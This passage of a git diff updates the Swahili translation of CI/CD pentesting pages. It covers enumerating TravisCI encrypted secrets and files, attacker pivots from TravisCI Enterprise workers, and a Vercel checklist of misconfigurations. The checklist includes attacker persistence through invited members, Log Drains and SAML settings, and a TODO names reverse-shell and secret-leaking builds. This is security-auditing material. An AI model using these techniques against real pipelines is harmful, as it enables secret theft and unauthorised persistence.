**kuhesabu faili zilizofichwa**, unaweza kuangalia kwa **faili za `.enc`** kwenye repo, kwa mistari inayofanana na `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` kwenye faili ya usanidi, au kwa **iv na funguo zilizofichwa** katika **Mabadiliko ya Mazingira** kama: +- Ili kuhesabu **siri za siri zilizowekwa**, bora unachoweza kufanya ni **kuangalia faili ya `.travis.yml`**. +- Ili **kuhesabu faili za siri zilizowekwa**, unaweza kuangalia kwa **faili za `.enc`** kwenye repo, kwa mistari inayofanana na `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` kwenye faili ya usanidi, au kwa **iv na funguo zilizowekwa** katika **Mabadiliko ya Mazingira** kama: ![](<../../images/image (81).png>) ### TODO: -- Mfano wa ujenzi ukiwa na reverse shell ikifanya kazi kwenye Windows/Mac/Linux -- Mfano wa ujenzi ukivuja mabadiliko ya mazingira yaliyofichwa kwa base64 kwenye kumbukumbu +- Mfano wa ujenzi ukiwa na shell ya nyuma ikifanya kazi kwenye Windows/Mac/Linux +- Mfano wa ujenzi ukivuja mabadiliko ya mazingira yaliyowekwa kwa base64 kwenye kumbukumbu ### TravisCI Enterprise -Ikiwa mshambuliaji atakutana na mazingira yanayotumia **TravisCI enterprise** (maelezo zaidi kuhusu hii kwenye [**basic information**](basic-travisci-information.md#travisci-enterprise)), ataweza **kuanzisha ujenzi kwenye Worker.** Hii inamaanisha kwamba mshambuliaji ataweza kuhamasisha kwa upande wa server hiyo kutoka ambayo anaweza: +Ikiwa mshambuliaji atakutana na mazingira yanayotumia **TravisCI enterprise** (maelezo zaidi kuhusu hii kwenye [**taarifa za msingi**](basic-travisci-information.md#travisci-enterprise)), atakuwa na uwezo wa **kuanzisha ujenzi kwenye Mfanyakazi.** Hii inamaanisha kwamba mshambuliaji ataweza kuhamasisha kwa upande wa server hiyo kutoka ambayo anaweza: - kutoroka kwa mwenyeji? - kuathiri kubernetes? -- kuathiri mashine nyingine zinazofanya kazi kwenye mtandao huo huo? +- kuathiri mashine nyingine zinazofanya kazi kwenye mtandao huo? - kuathiri akreditivu mpya za wingu? -## References +## Marejeleo - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/) - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 5111b0454..7d7b79055 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -1,10 +1,10 @@ -# Basic TravisCI Information +# Msingi wa Taarifa za TravisCI {{#include ../../banners/hacktricks-training.md}} -## Access +## Ufikiaji -TravisCI moja kwa moja inajumuisha na majukwaa tofauti ya git kama Github, Bitbucket, Assembla, na Gitlab. Itamuuliza mtumiaji kutoa ruhusa kwa TravisCI kuweza kufikia repos anazotaka kuunganisha na TravisCI. +TravisCI inaunganishwa moja kwa moja na majukwaa tofauti ya git kama Github, Bitbucket, Assembla, na Gitlab. Itamuuliza mtumiaji kutoa ruhusa kwa TravisCI kufikia repos anazotaka kuunganisha na TravisCI. Kwa mfano, katika Github itahitaji ruhusa zifuatazo: @@ -12,34 +12,34 @@ Kwa mfano, katika Github itahitaji ruhusa zifuatazo: - `read:org` (kusoma tu) - `repo`: Inatoa ruhusa ya kusoma na kuandika kwa msimbo, hali za kujitolea, washirikishi, na hali za kutekeleza kwa hazina za umma na za kibinafsi na mashirika. -## Encrypted Secrets +## Siri Zilizofichwa -### Environment Variables +### Mabadiliko ya Mazingira -Katika TravisCI, kama ilivyo katika majukwaa mengine ya CI, inawezekana **kuhifadhi siri kwenye kiwango cha repo** ambazo zitahifadhiwa kwa njia ya siri na **kuondolewa na kusukumwa kwenye mabadiliko ya mazingira** ya mashine inayotekeleza ujenzi. +Katika TravisCI, kama katika majukwaa mengine ya CI, inawezekana **kuhifadhi siri kwenye kiwango cha repo** ambazo zitahifadhiwa kwa njia ya usimbaji na **kufichuliwa na kusukumwa katika mabadiliko ya mazingira** ya mashine inayotekeleza ujenzi. ![](<../../images/image (203).png>) Inawezekana kuashiria **matawi ambayo siri zitapatikana** (kwa kawaida yote) na pia kama TravisCI **inapaswa kuficha thamani yake** ikiwa itaonekana **katika kumbukumbu** (kwa kawaida itafanya hivyo). -### Custom Encrypted Secrets +### Siri Zilizofichwa za Kijadi -Kwa **kila repo** TravisCI inazalisha **RSA keypair**, **inaweka** ile **binafsi**, na inafanya **funguo za umma za hazina** kupatikana kwa wale walio na **ufikiaji** wa hazina hiyo. +Kwa **kila repo** TravisCI inazalisha **RSA keypair**, **inaweka** ile **binafsi**, na inafanya **funguo ya umma** ya hazina ipatikane kwa wale walio na **ufikiaji** wa hazina hiyo. -Unaweza kufikia funguo za umma za repo moja kwa: +Unaweza kufikia funguo ya umma ya repo moja kwa: ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` -Kisha, unaweza kutumia mipangilio hii **kuweka siri na kuziongeza kwenye `.travis.yaml`**. Siri zitakuwa **zinatolewa wakati ujenzi unafanywa** na zinapatikana katika **mabadiliko ya mazingira**. +Kisha, unaweza kutumia mpangilio huu **kuandika siri na kuziweka kwenye `.travis.yaml`**. Siri zitakuwa **zimefichuliwa wakati ujenzi unapoendeshwa** na zinapatikana katika **mabadiliko ya mazingira**. ![](<../../images/image (139).png>) -Kumbuka kwamba siri zilizowekwa kwa njia hii hazitaonekana kwenye orodha ya mabadiliko ya mazingira ya mipangilio. +Kumbuka kwamba siri zilizofichwa kwa njia hii hazitaonekana kwenye orodha ya mabadiliko ya mazingira ya mipangilio. -### Faili za Kijalala Zilizowekwa +### Faili za Kificho za Kawaida -Kwa njia ile ile kama hapo awali, TravisCI pia inaruhusu **kuweka faili na kisha kuzitoa wakati wa ujenzi**: +Kwa njia ile ile kama hapo awali, TravisCI pia inaruhusu **kuficha faili na kisha kuzifichua wakati wa ujenzi**: ``` travis encrypt-file super_secret.txt -r carlospolop/t-ci-test @@ -57,31 +57,31 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` -Note that when encrypting a file 2 Env Variables will be configured inside the repo such as: +Kumbuka kwamba unapofanya usimbaji wa faili, Variables 2 za Env zitawekwa ndani ya repo kama: ![](<../../images/image (170).png>) ## TravisCI Enterprise -Travis CI Enterprise ni **toleo la ndani la Travis CI**, ambalo unaweza kupeleka **katika miundombinu yako**. Fikiria kuhusu toleo la 'server' la Travis CI. Kutumia Travis CI kunakuwezesha kuwezesha mfumo rahisi wa Kuendelea Kuunganisha/Kuendelea Kuweka (CI/CD) katika mazingira, ambayo unaweza kuunda na kulinda kama unavyotaka. +Travis CI Enterprise ni **toleo la ndani la Travis CI**, ambalo unaweza kupeleka **katika miundombinu yako**. Fikiria kuhusu toleo la 'server' la Travis CI. Kutumia Travis CI kunakuwezesha kuwezesha mfumo rahisi wa Kuunganisha Endelevu/Kupeleka Endelevu (CI/CD) katika mazingira, ambayo unaweza kuunda na kulinda kama unavyotaka. **Travis CI Enterprise ina sehemu mbili kuu:** -1. TCI **huduma** (au TCI Core Services), inayohusika na kuunganishwa na mifumo ya kudhibiti toleo, kuidhinisha ujenzi, kupanga kazi za ujenzi, nk. +1. TCI **huduma** (au TCI Core Services), zinazohusika na kuunganishwa na mifumo ya kudhibiti toleo, kuidhinisha ujenzi, kupanga kazi za ujenzi, nk. 2. TCI **Worker** na picha za mazingira ya ujenzi (pia huitwa picha za OS). **Huduma za TCI Core zinahitaji yafuatayo:** 1. Hifadhidata ya **PostgreSQL11** (au baadaye). -2. Miundombinu ya kupeleka klasta ya Kubernetes; inaweza kupelekwa katika klasta ya seva au katika mashine moja ikiwa inahitajika. -3. Kulingana na mipangilio yako, unaweza kutaka kupeleka na kuunda baadhi ya vipengele mwenyewe, mfano, RabbitMQ - angalia [Kuweka Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) kwa maelezo zaidi. +2. Miundombinu ya kupeleka kundi la Kubernetes; inaweza kupelekwa katika kundi la seva au katika mashine moja ikiwa inahitajika. +3. Kulingana na mipangilio yako, unaweza kutaka kupeleka na kuunda mipangilio ya baadhi ya vipengele mwenyewe, e.g., RabbitMQ - angalia [Kuweka Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) kwa maelezo zaidi. -**Worker wa TCI unahitaji yafuatayo:** +**TCI Worker inahitaji yafuatayo:** 1. Miundombinu ambapo picha ya docker inayojumuisha **Worker na picha ya ujenzi iliyounganishwa inaweza kupelekwa**. -2. Uunganisho kwa baadhi ya vipengele vya Huduma za Msingi za Travis CI - angalia [Kuweka Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) kwa maelezo zaidi. +2. Uunganisho kwa baadhi ya vipengele vya Travis CI Core Services - angalia [Kuweka Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) kwa maelezo zaidi. -Kiasi cha picha za OS za TCI Worker na mazingira ya ujenzi zilizopelekwa kitaamua uwezo wa jumla wa sambamba wa kupeleka Travis CI Enterprise katika miundombinu yako. +Kiasi cha TCI Worker na picha za mazingira ya ujenzi zilizopelekwa kitaamua uwezo wa jumla wa sambamba wa kupeleka Travis CI Enterprise katika miundombinu yako. ![](<../../images/image (199).png>) diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 5c143a8cf..f8efc8ed1 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -27,34 +27,34 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen ### Domains -**Purpose:** Kusimamia maeneo maalum, mipangilio ya DNS, na mipangilio ya SSL. +**Purpose:** Kusimamia majina ya kikoa maalum, mipangilio ya DNS, na mipangilio ya SSL. #### Security Configurations: - **DNS Configuration Errors** - **Misconfiguration:** Rekodi za DNS zisizo sahihi (A, CNAME) zinazoelekeza kwenye seva za uhalifu. -- **Risk:** Hijacking ya domain, kukamata trafiki, na mashambulizi ya phishing. +- **Risk:** Hijacking ya kikoa, kukamata trafiki, na mashambulizi ya phishing. - **SSL/TLS Certificate Management** -- **Misconfiguration:** Kutumia vyeti dhaifu au vilivyokwisha muda. +- **Misconfiguration:** Kutumia vyeti dhaifu au vilivyokwisha muda wa SSL/TLS. - **Risk:** Kuwa hatarini kwa mashambulizi ya mtu katikati (MITM), kuathiri uaminifu wa data na faragha. - **DNSSEC Implementation** - **Misconfiguration:** Kukosa kuwezesha DNSSEC au mipangilio isiyo sahihi ya DNSSEC. - **Risk:** Kuongezeka kwa uwezekano wa DNS spoofing na mashambulizi ya cache poisoning. - **Environment used per domain** -- **Misconfiguration:** Kubadilisha mazingira yanayotumika na domain katika uzalishaji. -- **Risk:** Kuonyesha siri au kazi zinazoweza kuwa hazipatikani katika uzalishaji. +- **Misconfiguration:** Kubadilisha mazingira yanayotumika na kikoa katika uzalishaji. +- **Risk:** Kufichua siri au kazi zinazoweza kuwa hazipatikani katika uzalishaji. --- ### Environments -**Purpose:** Mwelekeo wa mazingira tofauti (Development, Preview, Production) na mipangilio maalum na vigezo. +**Purpose:** Muelekeo wa mazingira tofauti (Development, Preview, Production) na mipangilio na vigezo maalum. #### Security Configurations: - **Environment Isolation** - **Misconfiguration:** Kushiriki vigezo vya mazingira kati ya mazingira. -- **Risk:** Kuvuja kwa siri za uzalishaji katika mazingira ya maendeleo au mapitio, kuongezeka kwa uwezekano wa kufichuliwa. +- **Risk:** Kuenea kwa siri za uzalishaji katika mazingira ya maendeleo au mapitio, kuongezeka kwa kufichuliwa. - **Access to Sensitive Environments** - **Misconfiguration:** Kuruhusu ufikiaji mpana kwa mazingira ya uzalishaji. - **Risk:** Mabadiliko yasiyoidhinishwa au ufikiaji wa maombi ya moja kwa moja, kupelekea uwezekano wa kushindwa au uvunjaji wa data. @@ -68,8 +68,8 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen #### Security Configurations: - **Exposing Sensitive Variables** -- **Misconfiguration:** Kuongeza alama ya `NEXT_PUBLIC_` kwa vigezo nyeti, na kuifanya ipatikane upande wa mteja. -- **Risk:** Kuonyeshwa kwa funguo za API, akidi za database, au data nyingine nyeti kwa umma, kupelekea uvunjaji wa data. +- **Misconfiguration:** Kuongeza awali kwa vigezo nyeti kwa `NEXT_PUBLIC_`, na kuifanya iweze kupatikana upande wa mteja. +- **Risk:** Kufichua funguo za API, akidi za database, au data nyingine nyeti kwa umma, kupelekea uvunjaji wa data. - **Sensitive disabled** - **Misconfiguration:** Ikiwa imezimwa (kawaida) inawezekana kusoma thamani za siri zilizozalishwa. - **Risk:** Kuongezeka kwa uwezekano wa kufichuliwa kwa bahati mbaya au ufikiaji usioidhinishwa wa taarifa nyeti. @@ -99,7 +99,7 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen - **Insecure Third-Party Integrations** - **Misconfiguration:** Kuunganisha na huduma za upande wa tatu zisizoaminika au zisizo salama. -- **Risk:** Kuanzisha udhaifu, kuvuja kwa data, au milango ya nyuma kupitia uunganisho ulioathirika. +- **Risk:** Kuanzisha udhaifu, uvujaji wa data, au milango ya nyuma kupitia uunganisho ulioathirika. - **Over-Permissioned Integrations** - **Misconfiguration:** Kutoa ruhusa nyingi kwa huduma zilizounganishwa. - **Risk:** Ufikiaji usioidhinishwa wa rasilimali za mradi, urekebishaji wa data, au usumbufu wa huduma. @@ -111,19 +111,19 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen ### Deployment Protection -**Purpose:** Kulinda kutekeleza kupitia mitambo mbalimbali ya ulinzi, kudhibiti nani anaweza kufikia na kutekeleza kwenye mazingira yako. +**Purpose:** Kulinda kutekeleza kupitia mitambo mbalimbali ya ulinzi, kudhibiti nani anaweza kufikia na kutekeleza katika mazingira yako. #### Security Configurations: **Vercel Authentication** -- **Misconfiguration:** Kuondoa uthibitisho au kutotekeleza ukaguzi wa wanachama wa timu. +- **Misconfiguration:** Kuzima uthibitisho au kutotekeleza ukaguzi wa wanachama wa timu. - **Risk:** Watumiaji wasioidhinishwa wanaweza kufikia kutekeleza, kupelekea uvunjaji wa data au matumizi mabaya ya application. **Protection Bypass for Automation** -- **Misconfiguration:** Kuonyesha siri ya bypass hadharani au kutumia siri dhaifu. -- **Risk:** Wavamizi wanaweza kupita ulinzi wa kutekeleza, wakipata na kubadilisha kutekeleza kulindwa. +- **Misconfiguration:** Kufichua siri ya bypass hadharani au kutumia siri dhaifu. +- **Risk:** Wavamizi wanaweza kupita ulinzi wa kutekeleza, kufikia na kubadilisha kutekeleza kulindwa. **Shareable Links** @@ -138,13 +138,13 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen **Password Protection** - **Misconfiguration:** Kutumia nywila dhaifu au kuzishiriki kwa njia isiyo salama. -- **Risk:** Ufikiaji usioidhinishwa wa kutekeleza ikiwa nywila zitakisiwa au kuvuja. +- **Risk:** Ufikiaji usioidhinishwa wa kutekeleza ikiwa nywila zitakisiwa au kufichuliwa. - **Note:** Inapatikana kwenye mpango wa **Pro** kama sehemu ya **Advanced Deployment Protection** kwa $150/ mwezi zaidi. **Deployment Protection Exceptions** -- **Misconfiguration:** Kuongeza maeneo ya uzalishaji au nyeti kwenye orodha ya visingizio bila kukusudia. -- **Risk:** Kuonyesha kutekeleza muhimu kwa umma, kupelekea kuvuja kwa data au ufikiaji usioidhinishwa. +- **Misconfiguration:** Kuongeza kikoa cha uzalishaji au nyeti kwenye orodha ya visingizio bila kukusudia. +- **Risk:** Kufichua kutekeleza muhimu kwa umma, kupelekea uvujaji wa data au ufikiaji usioidhinishwa. - **Note:** Inapatikana kwenye mpango wa **Pro** kama sehemu ya **Advanced Deployment Protection** kwa $150/ mwezi zaidi. **Trusted IPs** @@ -185,7 +185,7 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen - **Disable Cron Job** - **Misconfiguration:** Inaruhusu kuzima kazi za cron zilizotangazwa ndani ya msimbo -- **Risk:** Ukatishaji wa huduma (kutegemea ni nini kazi za cron zilikuwa zikitumika) +- **Risk:** Ukatishaji wa huduma (kutegemea kazi za cron zilikuwa na kusudi gani) --- @@ -207,18 +207,18 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen **Build Logs and Source Protection** -- **Misconfiguration:** Kuondoa ulinzi au kuonyesha njia za `/logs` na `/src` hadharani. -- **Risk:** Ufikiaji usioidhinishwa wa kumbukumbu za kujenga na msimbo wa chanzo, kupelekea kuvuja kwa taarifa na uwezekano wa kutumia udhaifu. +- **Misconfiguration:** Kuzima ulinzi au kufichua njia za `/logs` na `/src` hadharani. +- **Risk:** Ufikiaji usioidhinishwa wa kumbukumbu za kujenga na msimbo wa chanzo, kupelekea uvujaji wa taarifa na uwezekano wa kutumia udhaifu. **Git Fork Protection** -- **Misconfiguration:** Kuruhusu ombi zisizoidhinishwa bila ukaguzi sahihi. +- **Misconfiguration:** Kuruhusu ombi la kuvuta lisiloidhinishwa bila ukaguzi sahihi. - **Risk:** Msimbo mbaya unaweza kuunganishwa kwenye msingi wa msimbo, kuanzisha udhaifu au milango ya nyuma. **Secure Backend Access with OIDC Federation** - **Misconfiguration:** Kuweka vibaya vigezo vya OIDC au kutumia URL zisizo salama za mtoaji. -- **Risk:** Ufikiaji usioidhinishwa wa huduma za nyuma kupitia mchakato wa uthibitisho ulio na kasoro. +- **Risk:** Ufikiaji usioidhinishwa wa huduma za nyuma kupitia mchakato wa uthibitishaji ulio na kasoro. **Deployment Retention Policy** @@ -227,7 +227,7 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen **Recently Deleted Deployments** -- **Misconfiguration:** Kukosa kufuatilia kutekeleza zilizofutwa au kutegemea tu kufutwa kwa kiotomatiki. +- **Misconfiguration:** Kutokufuatilia kutekeleza zilizofutwa au kutegemea tu kufutwa kwa kiotomatiki. - **Risk:** Kupoteza historia muhimu ya kutekeleza, kuzuia ukaguzi na kurudi nyuma. --- @@ -240,8 +240,8 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen **Directory Listing** -- **Misconfiguration:** Kuwezesha orodha ya orodha kunaruhusu watumiaji kuona maudhui ya orodha bila faili ya index. -- **Risk:** Kuonyeshwa kwa faili nyeti, muundo wa application, na maeneo yanayoweza kuwa na hatari kwa mashambulizi. +- **Misconfiguration:** Kuwezesha orodha ya saraka kunaruhusu watumiaji kuona maudhui ya saraka bila faili ya index. +- **Risk:** Kufichua faili nyeti, muundo wa application, na maeneo yanayoweza kuwa na hatari kwa mashambulizi. --- @@ -272,8 +272,8 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen ### Skew Protection -- **Misconfiguration:** Ulinzi huu unahakikisha mteja na application ya seva kila wakati wanatumia toleo sawa ili kusiwe na kutokuelewana ambapo mteja anatumia toleo tofauti na seva na hivyo hawaelewani. -- **Risk:** Kuondoa hii (ikiwa imewezeshwa) kunaweza kusababisha matatizo ya DoS katika kutekeleza mpya siku zijazo +- **Misconfiguration:** Ulinzi huu unahakikisha kwamba application ya mteja na seva kila wakati inatumia toleo sawa ili kusiwe na kutokuelewana ambapo mteja anatumia toleo tofauti na seva na hivyo hawaelewani. +- **Risk:** Kuzima hii (ikiwa imewezeshwa) kunaweza kusababisha matatizo ya DoS katika kutekeleza mpya siku zijazo --- @@ -307,7 +307,7 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen #### Security Configurations: - **Add members** -- **Misconfiguration:** Mshambuliaji anaweza kudumisha kudumu kwa kumwalika akaunti anayoitawala +- **Misconfiguration:** Mshambuliaji anaweza kudumisha kudumu kwa kumwalika akaunti anayoidhibiti - **Risk:** Kudumu kwa mshambuliaji - **Roles** - **Misconfiguration:** Kutoa ruhusa nyingi kwa watu wasiohitaji huongeza hatari ya usanidi wa vercel. Angalia majukumu yote yanayowezekana katika [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) @@ -321,11 +321,11 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen **Potential Misconfigurations:** -- **Over-Permissioning Members:** Kuweka majukumu yenye ruhusa zaidi ya zinazohitajika, kupelekea ufikiaji au vitendo visivyoidhinishwa. -- **Improper Role Assignments:** Kuweka vibaya majukumu ambavyo havikidhi majukumu ya wanachama wa timu, kupelekea kupanda kwa ruhusa. +- **Over-Permissioning Members:** Kutoa majukumu yenye ruhusa zaidi ya zinazohitajika, kupelekea ufikiaji au vitendo visivyoidhinishwa. +- **Improper Role Assignments:** Kutoa majukumu yasiyo sahihi ambayo hayakidhi majukumu ya wanachama wa timu, kupelekea kupanda kwa ruhusa. - **Lack of Project Segregation:** Kukosa kutenganisha miradi nyeti, kuruhusu ufikiaji mpana zaidi kuliko ilivyokusudiwa. -- **Insufficient Group Management:** Kukosa kukagua au kuboresha Vikundi vya Ufikiaji mara kwa mara, kupelekea ruhusa za ufikiaji zisizofaa au za zamani. -- **Inconsistent Role Definitions:** Kutumia ufafanuzi wa majukumu usio sawa au usio wazi kati ya Vikundi vya Ufikiaji tofauti, kupelekea mkanganyiko na mapengo ya usalama. +- **Insufficient Group Management:** Kutokufanya ukaguzi au kusasisha Access Groups mara kwa mara, kupelekea ruhusa za ufikiaji zisizofaa au za zamani. +- **Inconsistent Role Definitions:** Kutumia ufafanuzi wa majukumu usio sawa au usio wazi kati ya Access Groups tofauti, kupelekea mkanganyiko na mapengo ya usalama. --- @@ -334,7 +334,7 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen #### Security Configurations: - **Log Drains to third parties:** -- **Misconfiguration:** Mshambuliaji anaweza kuunda Log Drain kuiba kumbukumbu +- **Misconfiguration:** Mshambuliaji anaweza kuunda Log Drain ili kuiba kumbukumbu - **Risk:** Kudumu kwa sehemu --- @@ -343,38 +343,38 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen #### Security Configurations: -- **Team Email Domain:** Wakati umewekwa, mipangilio hii inawakaribisha moja kwa moja Akaunti za Kibinafsi za Vercel zenye anwani za barua pepe zinazomalizika na domain iliyotajwa (kwa mfano, `mydomain.com`) kujiunga na timu yako wakati wa kujiandikisha na kwenye dashibodi. +- **Team Email Domain:** Wakati imewekwa, mipangilio hii inawakaribisha moja kwa moja Akaunti za Kibinafsi za Vercel zenye anwani za barua pepe zinazomalizika na kikoa kilichotajwa (kwa mfano, `mydomain.com`) kujiunga na timu yako wakati wa kujiandikisha na kwenye dashibodi. - **Misconfiguration:** -- Kuweka domain ya barua pepe isiyo sahihi au domain iliyoandikwa vibaya katika mipangilio ya Team Email Domain. -- Kutumia domain ya barua pepe ya kawaida (kwa mfano, `gmail.com`, `hotmail.com`) badala ya domain maalum ya kampuni. +- Kuweka kikoa kibaya cha barua pepe au kikoa kilichokosewa katika mipangilio ya Team Email Domain. +- Kutumia kikoa cha barua pepe cha kawaida (kwa mfano, `gmail.com`, `hotmail.com`) badala ya kikoa maalum cha kampuni. - **Risks:** -- **Unauthorized Access:** Watumiaji wenye anwani za barua pepe kutoka domain zisizokusudiwa wanaweza kupokea mialiko ya kujiunga na timu yako. +- **Unauthorized Access:** Watumiaji wenye anwani za barua pepe kutoka kikoa kisichokusudiwa wanaweza kupokea mialiko ya kujiunga na timu yako. - **Data Exposure:** Uwezekano wa kufichuliwa kwa taarifa nyeti za mradi kwa watu wasioidhinishwa. -- **Protected Git Scopes:** Inaruhusu kuongeza hadi 5 Git scopes kwa timu yako ili kuzuia timu nyingine za Vercel kutekeleza repositories kutoka kwenye scope iliyo salama. Timu nyingi zinaweza kuweka scope sawa, kuruhusu timu zote kupata ufikiaji. -- **Misconfiguration:** Kukosa kuongeza Git scopes muhimu kwenye orodha ya iliyo salama. +- **Protected Git Scopes:** Inaruhusu kuongeza hadi 5 Git scopes kwa timu yako ili kuzuia timu nyingine za Vercel kutekeleza hifadhi kutoka kwenye scope iliyo salama. Timu nyingi zinaweza kuweka scope sawa, kuruhusu timu zote mbili kupata ufikiaji. +- **Misconfiguration:** Kutokuweka Git scopes muhimu kwenye orodha ya iliyo salama. - **Risks:** -- **Unauthorized Deployments:** Timu nyingine zinaweza kutekeleza repositories kutoka kwenye Git scopes za shirika lako bila ruhusa. +- **Unauthorized Deployments:** Timu nyingine zinaweza kutekeleza hifadhi kutoka kwenye Git scopes za shirika lako bila idhini. - **Intellectual Property Exposure:** Msimbo wa miliki unaweza kutekelezwa na kupatikana nje ya timu yako. -- **Environment Variable Policies:** Inalazimisha sera za kuunda na kuhariri vigezo vya mazingira vya timu. Kwa haswa, unaweza kulazimisha kwamba vigezo vyote vya mazingira vimeundwa kama **Sensitive Environment Variables**, ambavyo vinaweza kufichuliwa tu na mfumo wa kutekeleza wa Vercel. -- **Misconfiguration:** Kuacha kulazimisha vigezo vya mazingira nyeti kuwa kuzimwa. +- **Environment Variable Policies:** Inalazimisha sera za kuunda na kuhariri vigezo vya mazingira vya timu. Kwa haswa, unaweza kulazimisha kwamba vigezo vyote vya mazingira vianzishwe kama **Sensitive Environment Variables**, ambavyo vinaweza kufichuliwa tu na mfumo wa kutekeleza wa Vercel. +- **Misconfiguration:** Kuacha kulazimisha vigezo vya mazingira nyeti kuwa kuzima. - **Risks:** -- **Exposure of Secrets:** Vigezo vya mazingira vinaweza kuonyeshwa au kuhaririwa na wanachama wasioidhinishwa wa timu. -- **Data Breach:** Taarifa nyeti kama funguo za API na akidi zinaweza kuvuja. +- **Exposure of Secrets:** Vigezo vya mazingira vinaweza kuonekana au kuhaririwa na wanachama wasioidhinishwa wa timu. +- **Data Breach:** Taarifa nyeti kama funguo za API na akidi zinaweza kufichuliwa. - **Audit Log:** Inatoa usafirishaji wa shughuli za timu kwa hadi siku 90 zilizopita. Kumbukumbu za ukaguzi husaidia katika kufuatilia na kufuatilia vitendo vilivyofanywa na wanachama wa timu. - **Misconfiguration:**\ Kutoa ufikiaji wa kumbukumbu za ukaguzi kwa wanachama wasioidhinishwa wa timu. - **Risks:** -- **Privacy Violations:** Kuonyeshwa kwa shughuli na data nyeti za watumiaji. +- **Privacy Violations:** Kufichuliwa kwa shughuli na data nyeti za watumiaji. - **Tampering with Logs:** Watu wabaya wanaweza kubadilisha au kufuta kumbukumbu ili kuficha nyayo zao. -- **SAML Single Sign-On:** Inaruhusu kubadilisha uthibitisho wa SAML na usawazishaji wa directory kwa timu yako, kuruhusu uunganisho na Mtoaji wa Kitambulisho (IdP) kwa uthibitisho wa kati na usimamizi wa watumiaji. -- **Misconfiguration:** Mshambuliaji anaweza kuingiza milango ya nyuma kwenye mipangilio ya Timu akipanga vigezo vya SAML kama Entity ID, SSO URL, au alama za cheti. +- **SAML Single Sign-On:** Inaruhusu kubadilisha uthibitishaji wa SAML na usawazishaji wa saraka kwa timu yako, kuruhusu uunganisho na Mtoaji wa Kitambulisho (IdP) kwa uthibitishaji wa kati na usimamizi wa watumiaji. +- **Misconfiguration:** Mshambuliaji anaweza kuingiza milango ya nyuma kwenye mipangilio ya timu kwa kuweka vigezo vya SAML kama Entity ID, SSO URL, au alama za vidhibitisho. - **Risk:** Kudumisha kudumu - **IP Address Visibility:** Kudhibiti ikiwa anwani za IP, ambazo zinaweza kuzingatiwa kama taarifa binafsi chini ya sheria fulani za ulinzi wa data, zinaonyeshwa katika maswali ya Ufuatiliaji na Log Drains. -- **Misconfiguration:** Kuacha kuonyesha anwani za IP bila sababu. +- **Misconfiguration:** Kuacha kuonekana kwa anwani za IP bila sababu. - **Risks:** -- **Privacy Violations:** Kukosa kufuata kanuni za ulinzi wa data kama GDPR. +- **Privacy Violations:** Kutokufuata kanuni za ulinzi wa data kama GDPR. - **Legal Repercussions:** Uwezekano wa faini na adhabu kwa kushughulikia data binafsi vibaya. -- **IP Blocking:** Inaruhusu mipangilio ya anwani za IP na anuwai za CIDR ambazo Vercel inapaswa kuzuia maombi kutoka. Maombi yaliyozuiwa hayachangii bili yako. +- **IP Blocking:** Inaruhusu mipangilio ya anwani za IP na anuwai za CIDR ambazo Vercel inapaswa kuzuia maombi kutoka. Maombi yaliyokatazwa hayachangii bili yako. - **Misconfiguration:** Inaweza kutumiwa vibaya na mshambuliaji kuruhusu trafiki ya uhalifu au kuzuia trafiki halali. - **Risks:** - **Service Denial to Legitimate Users:** Kuzuia ufikiaji kwa watumiaji halali au washirika. @@ -384,7 +384,7 @@ Kutoa ufikiaji wa kumbukumbu za ukaguzi kwa wanachama wasioidhinishwa wa timu. ### Secure Compute -**Vercel Secure Compute** inaruhusu uhusiano salama, wa faragha kati ya Vercel Functions na mazingira ya nyuma (kwa mfano, databases) kwa kuanzisha mitandao iliyotengwa yenye anwani za IP maalum. Hii inondoa haja ya kuonyesha huduma za nyuma hadharani, kuimarisha usalama, kufuata sheria, na faragha. +**Vercel Secure Compute** 